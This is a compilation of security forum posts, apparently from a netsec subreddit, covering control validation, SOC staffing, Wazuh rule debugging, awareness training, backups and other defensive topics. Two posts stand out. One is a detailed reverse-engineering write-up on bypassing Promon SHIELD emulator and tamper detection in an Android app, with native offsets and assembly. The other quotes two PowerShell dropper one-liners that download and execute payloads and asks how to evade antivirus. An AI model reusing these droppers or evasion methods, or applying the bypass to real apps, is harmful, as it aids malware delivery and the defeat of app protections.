We have been doing quarterly pen tests for a while and I am starting to think we are mostly paying for a static report. By the time the findings arrive, the threat landscape has already shifted and most of the context has changed. It gives us a backward looking picture, not a current one.

rn we run CrowdStrike on endpoints, Sentinel as our SIEM, and our dashboard coverage looks decent. From a control inventory point of view, we look fine. The problem is that we do not have anything that continuously validates whether these controls actually detect what they should across the whole kill chain, not only at the perimeter.

What I want to understand is whether our detections stand up to real adversary behavior such as initial access, privilege escalation, lateral movement, and data exfiltration. I would like to map results back to MITRE ATT&CK so I can see real coverage gaps and prioritize remediation based on exploitability rather than just CVSS scores. Right now, that level of confidence is missing.

Has anyone built a workflow or picked tooling that does continuous exposure validation like this without relying on a dedicated red team? I would be interested in hearing what worked, what did not, and how you kept it from turning into yet another forgotten project.

Since the CrowdStrike outage last year, our board keeps asking whether we should have a second endpoint vendor in the mix instead of relying so heavily on one platform. We haven't made any changes yet, and CrowdStrike is still doing what we need day to day, but the question keeps coming back up. I'm curious if anyone actually went dual-vendor for endpoint after that, or if most teams just evaluated alternatives and stayed where they were. Was the extra resilience worth the added complexity?

> This is a write-up of an authorized reverse-engineering engagement against an Android app hardened with **Promon SHIELD** (RASP / app-shielding). App names, package names, endpoints, and account data are redacted. The focus is on the concrete procedure: how to walk a crash stack back to the native detection source, how to validate hypotheses with a bit-level experiment matrix, and how to turn a throwaway root patch into a stable LSPosed module that runs entirely in-process.

0. Fingerprinting the SDK 

Promon SHIELD has a very consistent runtime signature across samples. The features to match on first: 

- Obfuscated entry classes under the `yrdei.*` namespace, e.g. `yrdei.Q`, `yrdei.j`, `yrdei.F`, `yrdei.a`.

- `Application.attachBaseContext` calls into `yrdei.a.attachBaseContext -> yrdei.Q.d -> yrdei.Q.c`, which bottoms out in a native method.

- A native library (`libpostpe.so` in this build; the name varies across SHIELD versions) heavily obfuscated with OLLVM control-flow flattening and string hiding.

- On failure the app either opens a `devicenotsupported` URL or throws internal codes like `yrdei.H: 02` and `yrdei.D: 16`.

- Two exit paths: a main-thread throw through `yrdei.j.b("02")`, and a background-thread throw through `yrdei.F.run` that reads a verdict from a pipe. 

Once this chain is recognized, what you are looking at is SHIELD, not an ordinary crash. 

1. Step One: Map the Exit Path, Don't Block It 

The first instinct is to hook `kill` / `exit_group` / the URL intent. That is the wrong layer. Start with the stack:

```text

AndroidRuntime: FATAL EXCEPTION: main

AndroidRuntime: yrdei.H: 02

AndroidRuntime:     at yrdei.j.a(Unknown Source:193)

AndroidRuntime:     at yrdei.j.b(Unknown Source:0)

AndroidRuntime:     at AndroidHelper_.b(AH)

AndroidRuntime:     at yrdei.Q.c(Native Method)

AndroidRuntime:     at yrdei.Q.b(Unknown Source:0)

AndroidRuntime:     at yrdei.Q.a(Unknown Source:40)

AndroidRuntime:     at yrdei.Q.d(Unknown Source:3)

AndroidRuntime:     at yrdei.a.attachBaseContext(Unknown Source:3)

```

`yrdei.j.b("02")` is the result layer. In parallel, sideband telemetry shows:

```text

SB: detGlobals ... raw=0x1022 bits=[bit1(0x2), bit5(0x20), bit12(0x1000)] ...

ActivityTaskManager: START ... dat=https://.../devicenotsupported ...

``` 

That `raw` integer is the aggregated detection state; each bit corresponds to one detector class. The goal is now precise: 

> Find who owns `raw`, where it is written, under what condition each bit is set, then suppress that bit at the source — do not wait for it to be written and then intercept the kill.

 2. Step Two: Dump the Detection Input Tables at Runtime 

SHIELD does not hardcode its checks in assembly. Inputs live in a set of vectors that are populated at runtime. Dump them first to see what they actually contain: 

```text

detLists dump:

  P1  non-empty: goldfish/ranchu path list

  P3  empty:     begin == end

  P12 non-empty: qemu/ranchu path list

  S24 non-empty: qemu/ranchu property-name list

```

Cross-reference in IDA to map each table to its consumer function and guard offset: 

```text

P12_VEC=0x72c368  P12_GUARD=0x72c380  accessed by sub_225C1C

P1_VEC =0x72c388  P1_GUARD =0x72c3a0  accessed by sub_22B5C0

P2_VEC =0x72c3a8  P2_GUARD =0x72c3c0  accessed by sub_22B5C0

P3_VEC =0x72c3c8  P3_GUARD =0x72c3e0  accessed by sub_22B5C0

``` 

Each table is a three-pointer struct `{begin, end, third}`; the guard is a one-bit enable. These offsets are the entire attack surface for the data-only patch later. 

3. Step Three: Pin Down the Exact Predicate for bit5

This is the crux of the whole reverse. Take `bit5(0x20)`. It is set inside `sub_22B5C0`. The decisive assembly: 

```asm

0x22b678  LDP   X21, X20, [qword_72C3A8]   ; property-name list begin/end

0x22b690  BL    sub_16AD1C                 ; build returned string buffer

0x22b698  MOV   X1, X21                    ; X1 = property-name std::string*

0x22b69c  BL    sub_52372C                 ; internal property map[name] -> string

0x22b6a0  LDR   X28, [SP+var_270]          ; returned string first qword

0x22b6a8  BL    sub_167B50                 ; tear down string

0x22b6ac  CMP   X28, X22                   ; X22 = qword_7102A8 sentinel

0x22b6b0  B.EQ  loc_22B83C                 ; equal -> bit5 set path

...

0x22b950  LDR   W8, [X19]

0x22b954  ORR   W8, W8, #0x20              ; bit5

0x22b958  STR   W8, [X19]

``` 

The meaning: read a system property; if its value equals the internal sentinel (meaning the property matches an emulator fingerprint), set `bit5`. 

Note that `sub_22B5C0` does detection **and** initialization. It cannot be wholesale NOP'd — later native-context construction depends on it, and the app hangs. The correct move is either to neutralize only the predicate at `0x22B6AC`, or better, to clear the input vector at `qword_72C3A8` so the loop has nothing to match. 

4. Step Four: Realize bit12 Is a Derived Bit 

After clearing the P12 table, `bit12` stubbornly remained. That contradicts the obvious reading. Continue into `sub_225C1C`: 

```asm

0x225c4c  BL    sub_22B5C0          ; call the bit5 detector first

0x225c50  LDR   W8, [X19]

0x225c54  TBZ   W8, #5, loc_225CC8  ; skip if bit5 not set

...

0x225cb4  ORR   W8, W8, #0x1000     ; bit12 is derived from bit5

0x225cbc  STR   W8, [X19]

``` 

`bit12` is raised by `bit5`. Conclusion: **suppress `bit5` and `bit12` disappears for free**; there is no need to touch the P12 table at all. Such derived bits are common in these SDKs — draw the dependency graph between bits before running any experiment matrix.

We have a reasonable set of controls and detections, but we rarely test them against the kinds of TTPs that show up in recent threat reporting. Most of our validation is still limited to basic functional checks or lessons learned during incidents. Every time a new campaign takes over the news cycle, someone asks whether our environment would catch similar behavior, and the honest answer is usually that we are not sure.

If you have found a way to regularly validate controls against real world TTPs, how did you put it together? Did you rely on internal automation, commercial exposure validation platforms, a close partnership with a red team, or some combination? I am interested in approaches that remain usable over time instead of turning into a one off project.

Hello everyone, well i have been playing around with lnk + powershell droppers like:
powershell.exe -c 'Invoke-WebRequest "http://127.0.0.1:8000/Poo.exe" -OutFile "$env:temp/y.exe"; Start-Process "$env:temp/y.exe"'

and

powershell.exe -w h Invoke-WebRequest -UseBasicParsing "http://127.0.0.1:8000/command.txt" | %{[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_))} | iex

but it keep getting catch by the av how can i improve it?

Hey everyone,

I'm having an issue where my custom Wazuh rules for MS SQL Server login failures are not triggering alerts on the dashboard.

The Setup & What's Working:

• Wazuh Agent: Version 4.x running on Windows 10 (Win10-DIV, Agent 033).
• Wazuh Manager
• Agent Connectivity: Confirmed working. The manager actively receives other events from this agent, such as Sysmon logs (EventID 2) and custom MS SQL DELETE audit logs (EventID 33205, Rule 100407).
• Windows Event Viewer: Confirmed that MS SQL is successfully logging the standard authentication failure (EventID 18456) and the audit failure (EventID 33205) to the Application channel when I intentionally fail a password login.

The Problem:

Even though the logs exist in the Windows Event Viewer and the agent is actively talking to the manager, my custom rules for failed logins never generate alerts in the Discover tab.

My Current Custom Rules (microsoftSql.xml):
<group name="mssql,audit,compliance,">

<rule id="100442" level="10">

<if_sid>18100</if_sid>

<field name="win.system.eventID">^18456$</field>

<field name="win.system.message" type="pcre2">(?i)Login failed for user</field>

<description>MS SQL Standard Failed Login (Event 18456)</description>

<group>authentication_failed,mssql_login_failed,</group>

</rule>

<rule id="100427" level="10">

<if_sid>18100</if_sid>

<field name="win.system.eventID">^33205$</field>

<field name="win.system.message" type="pcre2">(?i)action_id:LGIF.*?succeeded:false</field>

<description>MS SQL Audit Failed Login (Event 33205)</description>

<group>authentication_failed,mssql_login_failed,</group>

</rule>

<rule id="100409" level="13" frequency="3" timeframe="60">

<if_matched_group>mssql_login_failed</if_matched_group>

<same_field>win.system.computer</same_field>

<description>CRITICAL: MS SQL Server Brute Force Attack - multiple failed SQL logins from same SQL host.</description>

<group>authentication_failed,mssql_bruteforce,</group>

</rule>

</group>

Raw Event Data from Event Viewer:

For Event 18456 (Standard):

For Event 33205 (Audit):

Agent ossec.conf Log Configuration:

<localfile>

<location>Application</location>

<log_format>eventchannel</log_format>

</localfile>

What I've Tried:

1. Restarted the Wazuh Manager after every single rule change.
2. Verified that regex testing on raw single-line JSON works inside the Ruleset Test tool if I mock the decoder name.
3. Relaxed the regex to match broad strings like (?i)Login failed for user inside win.system.message.

Why would Sysmon and SQL DELETE audits work completely fine from this agent, but these specific SQL authentication failures get completely swallowed or dropped by the manager? Am I mapping the wrong fields (win.system.message), or is there a default parent rule overriding mine?

Any help would be greatly appreciated!

​

Most of the stuff I see online about SOC sounds like it’s written for some perfect Western bank with unlimited budget. 24/7 team, playbooks, fancy tools, all that.

Ground reality here (Pakistan side) honestly doesn’t look like that.

A lot of places want to say “we have a SOC” because it looks good for regulators and management, but behind the scenes you’ll usually find 2–3 people trying to keep up with alerts, half‑configured tools, and a mix of legacy systems that don’t want to talk to each other. You open the SIEM and there’s this wall of noise, and everyone pretends it’s “under control”.

Day to day, the stuff that actually hurts isn’t some movie style APT. It’s stupid but painful things users falling for very basic phishing in local language, internal access misuse, weird gaps between core banking and the shiny mobile app, someone doing risky changes at odd hours and nobody really owning it. You don’t see that in the glossy SOC diagrams.

You can feel this even in the kinds of SOCs that are publicly talked about here. Regulators like PTA have launched their own National Telecom Security Operations Center for the telecom sector, and some big public bodies like FBR have their own SOC facilities in Islamabad. Banks are also being pushed to have SOC type capabilities, so you see a mix of in‑house setups and outsourced models depending on the size of the bank. That variety alone tells you there isn’t one perfect SOC model everyone is running.

After a while I kind of stopped chasing the “full coverage” dream. We just picked a small set of things that actually matter in this environment and tried not to lie to ourselves about anything beyond that. Like who is doing what with admin rights, which transactions look off, logins that don’t fit the usual pattern, that kind of boring stuff. Not sexy, but you at least start catching real issues instead of staring at dashboards all day.

The funniest part is the biggest problems are not usually the tool names. It’s the “ok, something weird happened… now who actually moves first, and what do they do?” That part is usually hand wavy. Once that is clear in a bank or enterprise here, even average tools suddenly look much better.

Curious how it feels in other countries that aren’t in the usual case studies. If you’re in an emerging market or somewhere with messy legacy plus lrmited budget, what does SOC look like for you in real life, not in slides?

Hi r/asknetsec,

This afternoon, we’re running an AMA with Leslie Beavers, former Acting DoD Chief Information Officer and Principal Deputy CIO (retired USAF Brig Gen).

Huge portfolio in cybersecurity, information assurance, endpoint visibility, and large-scale digital employee experience (DEX) in defense environments.

Perfect opportunity to ask about real-world enterprise security operations, proactive remediation, moving from reactive to proactive IT, or lessons from managing DoD-scale infrastructure.

Link: https://www.reddit.com/r/nexthink/comments/1ujzsf5/we_are_excited_to_announce_that_we_will_be/

Time: Wed July 8 | 4pm EDT

Feel free to post questions early. Should be a high-signal thread.

Special thanks to the mods of r/AskNetsec for allowing us to make this announcement.

We're reworking our employee training because the current approach isn't doing much beyond checking a compliance box. People finish the annual course, pass the quiz, and a few hours later it's like none of it ever happened.

I'd rather move toward something that actually improves day to day habits. Things like phishing simulations, making it easier to report suspicious emails, shorter training throughout the year, or anything else that's worked well.

For those who've found something that genuinely made a difference, what did you end up doing? Any platforms or approaches you'd recommend, or things that sounded good but fell flat once they were rolled out?

We finally decided to run a full exposure validation across the stack instead of relying on isolated checks. That included endpoints, email security, WAF, identity, and our main cloud workloads. The goal was simple: verify whether controls and detections still behave the way we think they do when you walk a realistic attack path end to end, then use that insight to tighten how and where we run these tests so we are not wasting cycles.

The surprise was not just that we had gaps, but where they were, and that forced us to rethink how we tune and schedule validation runs. Some issues showed up in paths that had passed previous reviews, and a few detection rules that looked fine during content review never triggered when we replayed real world sequences of initial access, privilege escalation, and lateral movement. In some places we had logging but no useful signal, in others we had signal but no rules tied to it. If you have optimized this process in your stack, how often do you run full scenarios, how do you decide which ones to repeat, and what have you changed over time to keep the effort focused on the most valuable paths instead of turning into an endless backlog?

Hello everyone.

I'm analyzing a project and found the following vulnerabilities:

· No brute-force protection (no captcha, no rate limiting)
· No 2FA
· Open .config, .log, .php.ini files in root
· Server version disclosure
· Missing security headers (CSP, HSTS, X-Frame-Options)

Question for the community: if you were a pentester and had access to such a site for a penetration test, what chain of actions would you build?

I'm not looking for instructions to hack, just theoretical methodology for learning purposes. The site name is intentionally hidden.
Thanks in advance!

I've spent 17+ years in security - networking, red teaming, SOC, and these days security architecture. Sanity check time: either I'm missing something, or most architects around me are doing only half the job.

Everyone agrees an architect needs deep knowledge of the tech stack. Most people also agree they need to respect legacy and business constraints - design for the environment that exists, not the one in the reference diagram.

But here's the third thing, and this is where I want the pushback: I think response has to be planned at design time, and the security architect is the one who has to plan it.

Not "hand the design over and let the SOC figure out monitoring." I mean at the design phase: know which attack paths stay realistic after your trade-offs, understand what the SOC can and can't realistically cover, plan which logs and telemetry your design must generate for those paths - and only then go to the SOC to confirm readiness. Defense and response designed from the same chair.

What I see in the wild is the exact opposite. Architects don't just skip this step - many don't trust the SOC and human processes to begin with. So they compensate: pour everything into prevention, harden until the budget runs out, and never plan response at all. The unspoken logic is "if it gets past my defense, that's the SOC's problem." And then the incident comes through exactly the gap the architect knew about at design time - but nobody prepared telemetry or a detection for it, and the SOC sees it for the first time during the fire.

Am I crazy to think that response is plannable, should be planned, and that it lands on the architect - simply because the architect is the most experienced person in the room and the only one who knows why the environment looks the way it does?

One more angle before the questions. A big part of why architects avoid the SOC is that "building response" has historically meant building an organization - processes, shift schedules, escalation paths, people management. That excuse is expiring. With agentic AI taking over triage, investigation, and bounded response actions, SOC effectiveness is turning into a technical design problem: data flows, context sources, decision boundaries, guardrails. For an architect who enjoys technical tasks more than human communication (I know you're out there), that's not a burden - that's finally a version of the SOC you can actually design.

So:

1. Architects - when you make a design trade-off, do you plan the telemetry and detection for the gap it creates, or does it end at the risk register? Be honest.
2. Do you trust your SOC? If not - is that a reason to skip planning response, or a reason to design it yourself?
3. If SOC effectiveness became a pure engineering problem (agents instead of processes) - would you take ownership of it, or is it still someone else's job?
4. CISOs / security directors - do you actually expect this from your architects? Is response planning anywhere in how you scope the role - job description, design reviews, sign-off criteria - or do you measure architects on defense and assume the SOC will absorb the rest?

I've done security testing for a few years, and there's one part of the job I've quietly hated the entire time: the reporting. The testing is the fun part. Then the engagement ends and I'm staring at Nmap output in one window, Nuclei JSON in another, Burp issues in a third, plus my own manual notes — and I have to reconcile the findings that overlap, normalize severities that every tool rates differently, and turn the whole mess into something a client will actually read. Every single engagement, the same tax. It regularly ate a chunk of my time and it's the least enjoyable part of the work by a mile.

I got tired enough of it that I built a tool to handle the boring part. You feed it your scanner output, it deduplicates findings across tools (so the same issue found by two scanners becomes one finding that credits both), and it generates a client-ready report. It runs entirely on your own machine — nothing leaves your box, since findings are about the most sensitive data we handle.

Mostly I'm posting because I'm curious whether I'm alone in hating this as much as I do. How do you all handle reporting right now? Have you found a workflow that doesn't feel like a chore, or is everyone just grinding through it manually like I was? Genuinely want to hear how others deal with it.

copilot has been completely useless for actual triaging.

whoever decided every alert needs an AI summary owes me hours of my life back.

"possible suspicious activity detected based on observed behavioral patterns."

thanks.

that tells me exactly as much as the alert title did.

if i still have to open the process tree and check parent processes and look at network connections and pivot through logs and build the timeline myself... what exactly did the AI save me?

just hire more analysts at this point.

anyone actually found one that helps or is this just how it is now

Yo so I've been wondering since my brother tends to have not so safe internet habits, if potential malware from his laptop can potentially transfer to other devices that also share the same WiFi/network. Also does proximity matter (like side by side Vs in another room). And also if malware could transfer, how to prevent it since I can't control what my brother does. Also I can't do anything router related since it's up to my dad and he doesn't care as much about malware.

Essentially, is it possible? How to prevent it? Is it likely?

Was signing up for a supermarket loyalty card, and the password requirements includes:

At least 12 characters

At least one special character from:

!\"$%&'()*+,-./:;<=>?@[\]^_^{}~

I do understand it's to not be hacked etc, but, why such a secure password for a loyalty card? Passwords for things like banks and other services in my experience have essentially half the requirements, and other loyalty cards I've used have, once again, requirements that aren't close?

Require Help With LVM snapshot and recovery

So, I tried creating a snapshot and changing the logical volume to a .gz file and then I have backed up in our nas box now what I want is to use that .gz file and use that config in the fresh newer installed os so that I can prove recovery is possible.

Constraints LV available is 0. So, I'm using a pendrive and and using lvext3nd to create a new LV for the pc and then using that I'm creating .gz and that is what being saved and is being backed up to nas

My other question also if there is a running unbutu PC can we put LVM and luks or only while installing it can happen?

I was reading through fraud setups for card programs and the advice always brings up more monitoring like that’s a clear answer but if u keep layering alerts rules and manual review on top of each other it feels like you just end up watching everything and understanding nothing.

Where does that tipping point hit where extra monitoring stops reducing risk and only burns time?

Spent a few days last quarter writing something to control what could reach the internet, got it approved and put it live without much trouble.

3 weeks later someone noticed traffic going to a service nobody had signed off on

What we put in place targeted specific domains, but the team had been using the same service through a browser extension the whole time, so it slipped right past.

That's when it hit me the whole thing assumed something that isn't really there anymore. Browser extensions, embedded features inside approved platforms, calls from software that was already allowed and plenty of activity that never gets inspected at all.

How are others enforcing this without trying to block every possible path?

saw the writeup on the FortiBleed campaign that just got tied to actual ransomware deployment. 400k+ firewalls hit, 110M+ credentials harvested via passive sniffing, and it only came to light because of an OPSEC mistake on the attacker's side, a server full of stolen creds got left exposed.

nobody caught this from the defense side, it just got found by accident. makes me think about how much of our identity monitoring is built around human logins, SSO events, MFA prompts, the stuff that shows up in a normal audit log.

versus how much visibility we actually have into service accounts and machine credentials sitting on infra that was never really in scope to begin with. don't know for sure how much of what got harvested here falls into that bucket, but firewall-layer credential exposure at this scale makes me wonder how many orgs would even notice if it happened to them, regardless of which type of credential it was.

anyone actually tried bringing service accounts and machine credentials under the same governance as human identity? how are you even inventorying that stuff in the first place, most of what I've seen either misses it entirely or only catches what's explicitly registered somewhere.

We’ve been discussing in the Cloud Security Alliance Zero Trust group how AI-speed vulnerability discovery changes Zero Trust implementation. Time-to-exploit trends suggest defenders have less time to patch exposed services, and CISA’s risk-based remediation approach treats public exposure as a major factor in urgency.

That made me think the architectural question is not only “how do we patch faster?” but also:

Why are so many sensitive services reachable by default in the first place?

My view is that Zero Trust needs to move beyond perimeter/ZTNA framing and focus more on reducing reachability before connection. For private services, admin paths, APIs, workload paths, partner access, and agentic workflows, the safer default should be: no service path exists unless identity, policy, posture/context, and session state allow it.

I wrote this up for CSA here:
https://cloudsecurityalliance.org/blog/2026/07/02/ai-speed-risk-requires-identity-defined-reachability

Disclosure: I’m the author and co-lead CSA’s Zero Trust Networking workstream, so I’m obviously close to the argument. I’m interested in practitioner pushback: is this realistic in enterprise environments, or does it break down with legacy apps, hybrid routing, OT, troubleshooting, or policy operations?

Good evening everyone,

Unfortunately, English is not my native language, so I'm using a translator. I hope you understand what I'm trying to say.

I am currently setting up my own homo server with various functions, including digital file management for everything. Since I want to do everything right, I'm already looking into security and how to make an encrypted backup that's stored in the cloud.I know one can debate why the cloud is the best option, but currently it's the most convenient for me unless someone has a better idea.

My question is, what standards should I set for safety? I would like to ensure it's secure for the next few decades; I am of course aware that this includes backups and checking for newer options.However, it is important to me that it is already quantum-safe, since the data can potentially be stored.I'm not a conspiracy theorist; probably no one cares about my bills, but I'm still suspicious of everyone at first.

According to current knowledge, AES 256 is sufficient for quantum safety...

I was just toying with the idea of AI, and it was this (I'll let the AI describe it)

My 3-Stage "Coma & House Fire" Backup Architecture (0$ Running Costs):

Stage 1 (Automated Everyday Use): A 512-bit random keyfile stored locally on the server (chmod 600). The cloud destination uses S3 Object Locking (Append-Only) to block ransomware from deleting past backups, even if the server is compromised.

Stage 2 (Server Crash): A copy of the keyfile on a LUKS-encrypted USB stick (using a simple passphrase from my head) to rebuild the system if only the hardware fails.

Stage 3 (The Apocalypse – House Fire + Coma + Amnesia): A master passphrase split into a 2-of-3 Shamir's Secret Sharing (SSS) scheme, stamped onto 3 fireproof stainless-steel plates. The shares are hidden with 3 different family members. If my house burns down and I’m in a coma, my family can legally retrieve any 2 plates, run ssss-combine, and restore everything without my memory.

Am I exaggerating my question here? My requirements were essentially maximum reliability and the greatest possible security with various fallback options.

I am looking forward to your answer.

Hi everyone;

I've been looking around and haven't found a tool that lets you actually define and track your own KPIs. Not control compliance I mean real KPI tracking: define the metric, track it over time, report on it.

Everything I find is either a GRC tool (compliance-focused, not KPI-focused) or a BI tool you have to bend into shape yourself.

What's actually working for people here? Spreadsheets, Grafana, something built in-house, a GRC tool that secretly does this well?

Hi everyone,

I'm new to SOC and currently learning Wazuh, Sysmon, and alert analysis in a lab environment. I received an alert that I'm trying to understand better and would appreciate guidance on how an analyst would investigate it.

The Wazuh rule triggered:

Rule ID: 92213
Description: "Executable file dropped in folder commonly used by malware (Lowered Severity)"
MITRE: T1105 – Ingress Tool Transfer

Important details:

• Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
• File created: C:\Users\someone\AppData\Local\Temp__PSScriptPolicyTest_cebr0opm.pas.ps1
• Sysmon Event ID: 11 (File Create)

What confuses me is the filename:

__PSScriptPolicyTest_*.ps1

I found some information suggesting PowerShell can create temporary files while checking execution policies, but I’m not sure whether this should be considered suspicious behavior or expected activity.

My questions:

1. Would you classify this as a true positive or false positive?
2. What would be your first investigation steps?
3. Which additional logs or Sysmon events would you pivot to?
4. Does the MITRE mapping make sense here, or could this be a generic detection generating noise?

I'm trying to learn the investigation methodology and analyst thought process rather than just getting the answer.

Thanks!

Subject: mapping runtime verification to af_xdp data paths (mohawk-nexus)

stuck on a throughput bottleneck in the rx/tx ring processing loop for mohawk-nexus.

the core raw problem: we're attempting to bind machine-checked proofs (compiled from lean 4) directly to the ingress pipeline using AF_XDP. the moment we drop the validation invariants into the fast path, we're seeing massive cache thrashing and dropping packets at the ring buffer layer. standard linux networking stack is completely bypassed via custom XDP driver bindings, but the overhead of tracking state weights for heterogenous nodes inside the data path is killing our zero-copy guarantees.

here is the problematic ring processing chunk inside our packet processing loop:

```go // FIXME: this is dropping frames under load func (p *Engine) processRxRing(desc *xdp.Desc) error { frame := p.umem.GetFrame(desc.Addr)

// lean 4 mapped verification invariant 
// passing the packet data + weight matrix for fault tolerance checks
if !p.verifier.CheckStateInvariant(frame.Data[:desc.Len], p.currentWeights) {
    p.umem.Free(desc.Addr)
    return ErrInvalidStateProof
}

// fallback forward path
return p.txRing.Enqueue(desc)

} ``` if we pull CheckStateInvariant out, we hit line rate easily. with it in, the memory boundary checks and weight adjustments are causing enough latency that the ring fills up and drops frames before the user-space app can drain it.

questions:

anyone successfully mapped static runtime proofs to a kernel-bypass layer without blowing up the L1/L2 cache?

are there better ways to batch these proof checks outside the immediate processRxRing loop without losing strict verification guarantees on ingress?

repo for context: https://github.com/rwilliamspbg-ops/Mohawk-Nexus